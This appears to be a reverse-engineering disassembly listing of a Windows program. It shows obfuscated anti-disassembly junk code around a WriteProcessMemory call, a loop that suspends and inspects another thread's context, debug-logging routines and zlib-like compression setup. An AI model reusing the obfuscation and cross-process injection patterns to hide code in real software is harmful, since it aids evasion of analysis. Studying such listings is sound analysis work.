		call	dword_4ED114	; WriteProcessMemory
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BDF01 ; CODE	XREF: .text:loc_4BDF01j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BDED9:				; CODE XREF: .text:004BDEFAj
		jmp	short loc_4BDEF8
; ---------------------------------------------------------------------------


loc_4BDEDB:				; CODE XREF: .text:loc_4BDEF8j
		xor	ecx, ecx


loc_4BDEDD:				; CODE XREF: .text:004BDEECj
		jz	short $+2
		jmp	short loc_4BDEF1
; ---------------------------------------------------------------------------


loc_4BDEE1:				; CODE XREF: .text:004BDEF5j
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BDE76+1
		jmp	short loc_4BDEEE
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BDEEA:				; CODE XREF: .text:loc_4BDEEEj
		jmp	short loc_4BDEFC
; ---------------------------------------------------------------------------
		jz	short loc_4BDEDD


loc_4BDEEE:				; CODE XREF: .text:004BDEE7j
		jnb	short loc_4BDEEA
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BDEF1:				; CODE XREF: .text:004BDEDFj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BDEE1
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BDEF8:				; CODE XREF: .text:loc_4BDED9j
		jmp	short loc_4BDEDB
; ---------------------------------------------------------------------------
		jmp	short loc_4BDED9
; ---------------------------------------------------------------------------


loc_4BDEFC:				; CODE XREF: .text:loc_4BDEEAj
		repne sbb al, 0DBh
		jmp	short loc_4BDF04
; ---------------------------------------------------------------------------


loc_4BDF01:				; CODE XREF: .text:004BDED4j
		jmp	short near ptr loc_4BDED4+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BDF04:				; CODE XREF: .text:004BDEFFj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx


loc_4BDF0E:				; CODE XREF: .text:loc_4BDEADj
		mov	al, 1
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BDF17	proc near		; CODE XREF: .text:004B9B4Cp

Dst		= dword	ptr -2CCh
var_214		= dword	ptr -214h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2CCh


loc_4BDF20:				; CODE XREF: sub_4BDF17:loc_4BDF9Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_4B7C87
		add	esp, 4
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4BDFA0
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	dword_4ED0F0	; ResumeThread
		push	64h
		call	dword_4ED1A4	; Sleep
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		push	edx
		call	dword_4ED1C8	; SuspendThread
		push	2CCh		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memset_0
		add	esp, 0Ch
		mov	[ebp+Dst], 10001h
		lea	ecx, [ebp+Dst]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	dword_4ED0E0	; GetThreadContext
		test	eax, eax
		jz	short loc_4BDF9E
		mov	ecx, [ebp+var_214]
		cmp	ecx, [ebp+arg_4]
		jnz	short loc_4BDF9E
		jmp	short loc_4BDFA0
; ---------------------------------------------------------------------------


loc_4BDF9E:				; CODE XREF: sub_4BDF17+78j
					; sub_4BDF17+83j
		jmp	short loc_4BDF20
; ---------------------------------------------------------------------------


loc_4BDFA0:				; CODE XREF: sub_4BDF17+1Ej
					; sub_4BDF17+85j
		mov	esp, ebp
		pop	ebp
		retn
sub_4BDF17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BDFA4	proc near		; CODE XREF: .text:004B85E8p

var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_38		= dword	ptr -38h
Dst		= dword	ptr -34h
var_30		= dword	ptr -30h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 6Ch
		push	34h		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memset_0
		add	esp, 0Ch
		mov	[ebp+Dst], 34h
		mov	[ebp+var_30], 108h
		mov	[ebp+var_1C], 1
		lea	ecx, [ebp+var_68]
		mov	[ebp+var_14], ecx
		mov	[ebp+var_10], offset sub_4BE034
		push	30h		; Size
		push	0		; Val
		lea	edx, [ebp+var_68]
		push	edx		; Dst
		call	_memset_0
		add	esp, 0Ch
		mov	[ebp+var_68], 30h
		mov	[ebp+var_64], 0
		push	offset aComctl32_dll ; "COMCTL32.DLL"
		call	dword_4ED07C	; LoadLibraryA
		mov	[ebp+var_38], eax
		cmp	[ebp+var_38], 0
		jz	short loc_4BE030
		push	offset aPropertysheeta ; "PropertySheetA"
		mov	eax, [ebp+var_38]
		push	eax
		call	dword_4ED074	; GetProcAddress
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_6C], 0
		jz	short loc_4BE030
		lea	ecx, [ebp+Dst]
		push	ecx
		call	[ebp+var_6C]
		add	esp, 4


loc_4BE030:				; CODE XREF: sub_4BDFA4+68j
					; sub_4BDFA4+80j
		mov	esp, ebp
		pop	ebp
		retn
sub_4BDFA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BE034	proc near		; DATA XREF: sub_4BDFA4+31o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_4], 1
		jnz	short loc_4BE072
		push	4Eh
		call	dword_4ED1FC	; GetSystemMetrics
		mov	[ebp+var_4], eax
		push	4Fh
		call	dword_4ED1FC	; GetSystemMetrics
		mov	[ebp+var_8], eax
		push	1
		push	0
		push	0
		mov	eax, [ebp+var_8]
		shl	eax, 1
		push	eax
		mov	ecx, [ebp+var_4]
		shl	ecx, 1
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4ED1D8	; MoveWindow


loc_4BE072:				; CODE XREF: sub_4BE034+Aj
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_4BE034	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BE07A	proc near		; CODE XREF: .text:loc_4B85EDp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset aComctl32_dll ; "COMCTL32.DLL"
		call	dword_4ED07C	; LoadLibraryA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4BE0D4
		push	offset a_trackmouseeve ; "_TrackMouseEvent"
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_4ED074	; GetProcAddress
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4BE0D4
		mov	[ebp+var_18], 10h
		mov	[ebp+var_14], 40000000h
		call	dword_4ED1D4	; GetDesktopWindow
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], 0FFFFFFFFh
		lea	ecx, [ebp+var_18]
		push	ecx
		call	[ebp+var_8]
		add	esp, 4


loc_4BE0D4:				; CODE XREF: sub_4BE07A+18j
					; sub_4BE07A+30j
		mov	esp, ebp
		pop	ebp
		retn
sub_4BE07A	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		movsx	eax, byte_4F47C0
		test	eax, eax
		jnz	short loc_4BE0F3
		call	sub_4BE1B4


loc_4BE0F3:				; CODE XREF: .text:004BE0ECj
		mov	ecx, [ebp+8]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	loc_4BE185
		cmp	dword_4F49C8, 0
		jnz	short loc_4BE185
		xor	edx, edx
		mov	dl, byte_4F47BC
		test	edx, edx
		jnz	short loc_4BE185
		xor	eax, eax
		mov	al, byte_4F47BD
		test	eax, eax
		jnz	short loc_4BE185
		push	0
		push	0
		call	dword_4ED050	; GetModuleHandleA
		push	eax
		push	0
		push	0
		push	80000000h
		push	80000000h
		push	80000000h
		push	80000000h
		push	10F45100h
		push	offset byte_4F47C0
		push	offset aListbox	; "LISTBOX"
		push	40000h
		call	dword_4ED250	; CreateWindowExA
		mov	dword_4F49C8, eax
		cmp	dword_4F49C8, 0
		jnz	short loc_4BE183
		call	dword_4ED078	; RtlGetLastWin32Error
		push	eax
		push	offset aRaidErrorUCrea ; "RAID error %u	creating listwindow, reve"...
		call	sub_4BE234
		add	esp, 8


loc_4BE183:				; CODE XREF: .text:004BE16Dj
		jmp	short loc_4BE1B2
; ---------------------------------------------------------------------------


loc_4BE185:				; CODE XREF: .text:004BE0FEj
					; .text:004BE10Bj ...
		mov	ecx, [ebp+8]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_4BE1B2
		cmp	dword_4F49C8, 0
		jz	short loc_4BE1B2
		mov	edx, dword_4F49C8
		push	edx
		call	dword_4ED228	; DestroyWindow
		mov	dword_4F49C8, 0


loc_4BE1B2:				; CODE XREF: .text:loc_4BE183j
					; .text:004BE190j ...
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BE1B4	proc near		; CODE XREF: .text:004BE0EEp
					; sub_4BE283+Fp

Source		= dword	ptr -10Ch
Str		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		movsx	eax, byte_4F48C4
		test	eax, eax
		jnz	short loc_4BE1D4
		push	0
		push	0
		call	sub_4BE373
		add	esp, 8


loc_4BE1D4:				; CODE XREF: sub_4BE1B4+12j
		push	offset byte_4F48C4 ; Source
		lea	ecx, [ebp+Str]
		push	ecx		; Dest
		call	_strcpy_0
		add	esp, 8
		push	5Ch		; Ch
		lea	edx, [ebp+Str]
		push	edx		; Str
		call	_strrchr_0
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4BE210
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+Source], eax
		jmp	short loc_4BE21C
; ---------------------------------------------------------------------------


loc_4BE210:				; CODE XREF: sub_4BE1B4+4Cj
		lea	ecx, [ebp+Str]
		mov	[ebp+Source], ecx


loc_4BE21C:				; CODE XREF: sub_4BE1B4+5Aj
		mov	edx, [ebp+Source]
		push	edx		; Source
		push	offset byte_4F47C0 ; Dest
		call	_strcpy_0
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_4BE1B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4BE234(char *Format,char)

sub_4BE234	proc near		; CODE XREF: .text:004BE17Bp

Args		= dword	ptr -2004h
Dest		= byte ptr -2000h
Format		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2004h
		call	__alloca_probe_0
		lea	eax, [ebp+arg_4]
		mov	[ebp+Args], eax
		mov	ecx, [ebp+Args]
		push	ecx		; Args
		mov	edx, [ebp+Format]
		push	edx		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_vsprintf
		add	esp, 0Ch
		mov	[ebp+Args], 0
		lea	ecx, [ebp+Dest]
		push	ecx
		push	0
		call	sub_4BE283
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_4BE234	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BE283	proc near		; CODE XREF: sub_4BE234+43p
					; .text:004BE367p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		movsx	eax, byte_4F47C0
		test	eax, eax
		jnz	short loc_4BE297
		call	sub_4BE1B4


loc_4BE297:				; CODE XREF: sub_4BE283+Dj
		xor	ecx, ecx
		mov	cl, byte_4F47BD
		test	ecx, ecx
		jnz	short loc_4BE31E
		xor	edx, edx
		mov	dl, byte_4F47BC
		test	edx, edx
		jnz	short loc_4BE31E
		cmp	dword_4F49C8, 0
		jz	short loc_4BE2F9
		mov	eax, [ebp+arg_4]
		push	eax
		push	0
		push	180h
		mov	ecx, dword_4F49C8
		push	ecx
		call	dword_4ED25C	; SendMessageA
		mov	[ebp+var_4], eax
		push	0
		mov	edx, [ebp+var_4]
		push	edx
		push	186h
		mov	eax, dword_4F49C8
		push	eax
		call	dword_4ED25C	; SendMessageA
		mov	ecx, dword_4F49C8
		push	ecx
		call	dword_4ED214	; UpdateWindow
		jmp	short loc_4BE31E
; ---------------------------------------------------------------------------


loc_4BE2F9:				; CODE XREF: sub_4BE283+33j
		push	10001h
		push	offset byte_4F47C0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4ED22C	; MessageBoxA
		cmp	eax, 2
		jnz	short loc_4BE31E
		push	1
		call	dword_4ED118	; ExitProcess


loc_4BE31E:				; CODE XREF: sub_4BE283+1Ej
					; sub_4BE283+2Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4BE283	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 2004h
		call	__alloca_probe_0
		lea	eax, [ebp+10h]
		mov	[ebp-2004h], eax
		mov	ecx, [ebp-2004h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		lea	eax, [ebp-2000h]
		push	eax
		call	_vsprintf
		add	esp, 0Ch
		mov	dword ptr [ebp-2004h], 0
		lea	ecx, [ebp-2000h]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_4BE283
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BE373	proc near		; CODE XREF: WinMain(x,x,x,x)+3Fp
					; .text:004B8515p ...

Dest		= dword	ptr -10Ch
var_108		= dword	ptr -108h
Str		= byte ptr -104h
var_103		= byte ptr -103h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_4BE38E
		push	0
		call	dword_4ED050	; GetModuleHandleA
		mov	[ebp+arg_0], eax


loc_4BE38E:				; CODE XREF: sub_4BE373+Ej
		mov	al, byte_4F4120
		mov	[ebp+Str], al
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		push	104h
		lea	ecx, [ebp+Str]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4ED1C4	; GetModuleFileNameA
		push	5Ch		; Ch
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strrchr_0
		add	esp, 8
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jnz	short loc_4BE3ED
		lea	ecx, [ebp+Str]
		mov	[ebp+var_108], ecx


loc_4BE3ED:				; CODE XREF: sub_4BE373+6Cj
		push	2Eh		; Ch
		lea	edx, [ebp+Str]
		push	edx		; Str
		call	_strrchr_0
		add	esp, 8
		mov	[ebp+Dest], eax
		cmp	[ebp+Dest], 0
		jz	short loc_4BE41B
		mov	eax, [ebp+Dest]
		cmp	eax, [ebp+var_108]
		jnb	short loc_4BE432


loc_4BE41B:				; CODE XREF: sub_4BE373+98j
		push	0		; Val
		lea	ecx, [ebp+Str]
		push	ecx		; Str
		call	_strchr_0
		add	esp, 8
		mov	[ebp+Dest], eax


loc_4BE432:				; CODE XREF: sub_4BE373+A6j
		cmp	[ebp+arg_4], 0
		jz	short loc_4BE467
		mov	edx, [ebp+arg_4]
		push	edx
		push	offset aU	; "-%u"
		mov	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf_0
		add	esp, 0Ch
		push	0		; Val
		mov	ecx, [ebp+Dest]
		push	ecx		; Str
		call	_strchr_0
		add	esp, 8
		mov	[ebp+Dest], eax


loc_4BE467:				; CODE XREF: sub_4BE373+C3j
		push	offset a_dbglog	; ".DbgLog"
		mov	edx, [ebp+Dest]
		push	edx		; Dest
		call	_strcpy_0
		add	esp, 8
		lea	eax, [ebp+Str]
		push	eax		; Source
		push	offset byte_4F48C4 ; Dest
		call	_strcpy_0
		add	esp, 8
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_4BE373	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		lea	eax, [ebp-40h]
		push	eax
		call	dword_4ED11C	; GetLocalTime
		lea	ecx, [ebp-4]
		push	ecx
		call	_time_0
		add	esp, 4
		lea	edx, [ebp-4]
		push	edx
		call	_localtime
		add	esp, 4
		push	eax
		push	offset aC	; "%c"
		push	2Ch
		lea	eax, [ebp-30h]
		push	eax
		call	sub_4C9743
		add	esp, 10h
		mov	ecx, [ebp-32h]
		and	ecx, 0FFFFh
		push	ecx
		lea	edx, [ebp-30h]
		push	edx
		push	offset aS_03d	; "%s.%03d"
		push	offset dword_4F4794
		call	_sprintf_0
		add	esp, 10h
		push	offset asc_4EDDD0 ; " --- "
		push	offset dword_4F4794
		call	_strcat_0
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BE510	proc near		; CODE XREF: .text:004902E9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	0
		push	8
		push	0Fh
		push	8
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4BE535
		add	esp, 20h
		pop	ebp
		retn
sub_4BE510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BE535	proc near		; CODE XREF: sub_4BE510+1Bp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], 0
		cmp	[ebp+arg_18], 0
		jz	short loc_4BE561
		mov	eax, [ebp+arg_18]
		movsx	ecx, byte ptr [eax]
		mov	edx, off_4EDDE4
		movsx	eax, byte ptr [edx]
		cmp	ecx, eax
		jnz	short loc_4BE561
		cmp	[ebp+arg_1C], 38h
		jz	short loc_4BE56B


loc_4BE561:				; CODE XREF: sub_4BE535+11j
					; sub_4BE535+24j
		mov	eax, 0FFFFFFFAh
		jmp	loc_4BE81D
; ---------------------------------------------------------------------------


loc_4BE56B:				; CODE XREF: sub_4BE535+2Aj
		cmp	[ebp+arg_0], 0
		jnz	short loc_4BE57B
		mov	eax, 0FFFFFFFEh
		jmp	loc_4BE81D
; ---------------------------------------------------------------------------


loc_4BE57B:				; CODE XREF: sub_4BE535+3Aj
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+18h], 0
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+20h], 0
		jnz	short loc_4BE5A2
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+20h], offset sub_4C169E
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+28h], 0


loc_4BE5A2:				; CODE XREF: sub_4BE535+57j
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+24h], 0
		jnz	short loc_4BE5B5
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+24h], offset sub_4C16C7


loc_4BE5B5:				; CODE XREF: sub_4BE535+74j
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jnz	short loc_4BE5C2
		mov	[ebp+arg_4], 6


loc_4BE5C2:				; CODE XREF: sub_4BE535+84j
		cmp	[ebp+arg_C], 0
		jge	short loc_4BE5D7
		mov	[ebp+var_C], 1
		mov	ecx, [ebp+arg_C]
		neg	ecx
		mov	[ebp+arg_C], ecx


loc_4BE5D7:				; CODE XREF: sub_4BE535+91j
		cmp	[ebp+arg_10], 1
		jl	short loc_4BE60D
		cmp	[ebp+arg_10], 9
		jg	short loc_4BE60D
		cmp	[ebp+arg_8], 8
		jnz	short loc_4BE60D
		cmp	[ebp+arg_C], 9
		jl	short loc_4BE60D
		cmp	[ebp+arg_C], 0Fh
		jg	short loc_4BE60D
		cmp	[ebp+arg_4], 0
		jl	short loc_4BE60D
		cmp	[ebp+arg_4], 9
		jg	short loc_4BE60D
		cmp	[ebp+arg_14], 0
		jl	short loc_4BE60D
		cmp	[ebp+arg_14], 2
		jle	short loc_4BE617


loc_4BE60D:				; CODE XREF: sub_4BE535+A6j
					; sub_4BE535+ACj ...
		mov	eax, 0FFFFFFFEh
		jmp	loc_4BE81D
; ---------------------------------------------------------------------------


loc_4BE617:				; CODE XREF: sub_4BE535+D6j
		push	16B8h
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	dword ptr [ecx+20h]
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4BE641
		mov	eax, 0FFFFFFFCh
		jmp	loc_4BE81D
; ---------------------------------------------------------------------------


loc_4BE641:				; CODE XREF: sub_4BE535+100j
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+18h], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_C]
		mov	[edx+28h], eax
		mov	ecx, [ebp+var_8]
		mov	edx, 1
		mov	ecx, [ecx+28h]
		shl	edx, cl
		mov	eax, [ebp+var_8]
		mov	[eax+24h], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+24h]
		sub	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax+2Ch], edx
		mov	ecx, [ebp+arg_10]
		add	ecx, 7
		mov	edx, [ebp+var_8]
		mov	[edx+48h], ecx
		mov	eax, [ebp+var_8]
		mov	edx, 1
		mov	ecx, [eax+48h]
		shl	edx, cl
		mov	eax, [ebp+var_8]
		mov	[eax+44h], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+44h]
		sub	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax+4Ch], edx
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx+48h]
		add	eax, 2
		xor	edx, edx
		mov	ecx, 3
		div	ecx
		mov	edx, [ebp+var_8]
		mov	[edx+50h], eax
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+24h]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	dword ptr [ecx+20h]
		add	esp, 0Ch
		mov	edx, [ebp+var_8]
		mov	[edx+30h], eax
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+24h]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	dword ptr [ecx+20h]
		add	esp, 0Ch
		mov	edx, [ebp+var_8]
		mov	[edx+38h], eax
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+44h]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	dword ptr [ecx+20h]
		add	esp, 0Ch
		mov	edx, [ebp+var_8]
		mov	[edx+3Ch], eax
		mov	ecx, [ebp+arg_10]
		add	ecx, 6
		mov	eax, 1
		shl	eax, cl
		mov	ecx, [ebp+var_8]
		mov	[ecx+1694h], eax
		push	4
		mov	edx, [ebp+var_8]
		mov	eax, [edx+1694h]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_0]
		call	dword ptr [eax+20h]
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+1694h]
		shl	ecx, 2
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+30h], 0
		jz	short loc_4BE79D
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+38h], 0
		jz	short loc_4BE79D
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+3Ch], 0
		jz	short loc_4BE79D
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4BE7BC


loc_4BE79D:				; CODE XREF: sub_4BE535+24Bj
					; sub_4BE535+254j ...
		mov	ecx, [ebp+arg_0]
		mov	edx, off_4EDE80
		mov	[ecx+18h], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4BF045
		add	esp, 4
		mov	eax, 0FFFFFFFCh
		jmp	short loc_4BE81D
; ---------------------------------------------------------------------------


loc_4BE7BC:				; CODE XREF: sub_4BE535+266j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+1694h]
		shr	edx, 1
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx*2]
		mov	edx, [ebp+var_8]
		mov	[edx+169Ch], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+1694h]
		imul	ecx, 3
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx+1690h], eax
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_4]
		mov	[edx+7Ch], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_14]
		mov	[ecx+80h], edx
		mov	eax, [ebp+var_8]
		mov	cl, byte ptr [ebp+arg_8]
		mov	[eax+1Dh], cl
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4BE9C1
		add	esp, 4


loc_4BE81D:				; CODE XREF: sub_4BE535+31j
					; sub_4BE535+41j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4BE535	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		mov	eax, [ebp+10h]
		mov	[ebp-8], eax
		mov	dword ptr [ebp-0Ch], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_4BE856
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+1Ch], 0
		jz	short loc_4BE856
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_4BE856
		mov	edx, [ebp+8]
		mov	eax, [edx+1Ch]
		cmp	dword ptr [eax+4], 2Ah
		jz	short loc_4BE860


loc_4BE856:				; CODE XREF: .text:004BE839j
					; .text:004BE842j ...
		mov	eax, 0FFFFFFFEh
		jmp	loc_4BE9BC
; ---------------------------------------------------------------------------


loc_4BE860:				; CODE XREF: .text:004BE854j
		mov	ecx, [ebp+8]
		mov	edx, [ecx+1Ch]
		mov	[ebp-4], edx
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		mov	eax, [edx+30h]
		push	eax
		call	sub_4C16E0
		add	esp, 0Ch
		mov	ecx, [ebp+8]
		mov	[ecx+30h], eax
		cmp	dword ptr [ebp-8], 3
		jnb	short loc_4BE893
		xor	eax, eax
		jmp	loc_4BE9BC
; ---------------------------------------------------------------------------


loc_4BE893:				; CODE XREF: .text:004BE88Aj
		mov	edx, [ebp-4]
		mov	eax, [edx+24h]
		sub	eax, 106h
		cmp	[ebp-8], eax
		jbe	short loc_4BE8C0
		mov	ecx, [ebp-4]
		mov	edx, [ecx+24h]
		sub	edx, 106h
		mov	[ebp-8], edx
		mov	eax, [ebp+10h]
		sub	eax, [ebp-8]
		mov	ecx, [ebp+0Ch]
		add	ecx, eax
		mov	[ebp+0Ch], ecx


loc_4BE8C0:				; CODE XREF: .text:004BE8A1j
		mov	edx, [ebp-8]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-4]
		mov	edx, [ecx+30h]
		push	edx
		call	_memcpy_1
		add	esp, 0Ch
		mov	eax, [ebp-4]
		mov	ecx, [ebp-8]
		mov	[eax+64h], ecx
		mov	edx, [ebp-4]
		mov	eax, [ebp-8]
		mov	[edx+54h], eax
		mov	ecx, [ebp-4]
		mov	edx, [ecx+30h]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp-4]
		mov	[ecx+40h], eax
		mov	edx, [ebp-4]
		mov	eax, [ebp-4]
		mov	edx, [edx+40h]
		mov	ecx, [eax+50h]
		shl	edx, cl
		mov	eax, [ebp-4]
		mov	ecx, [eax+30h]
		xor	eax, eax
		mov	al, [ecx+1]
		xor	edx, eax
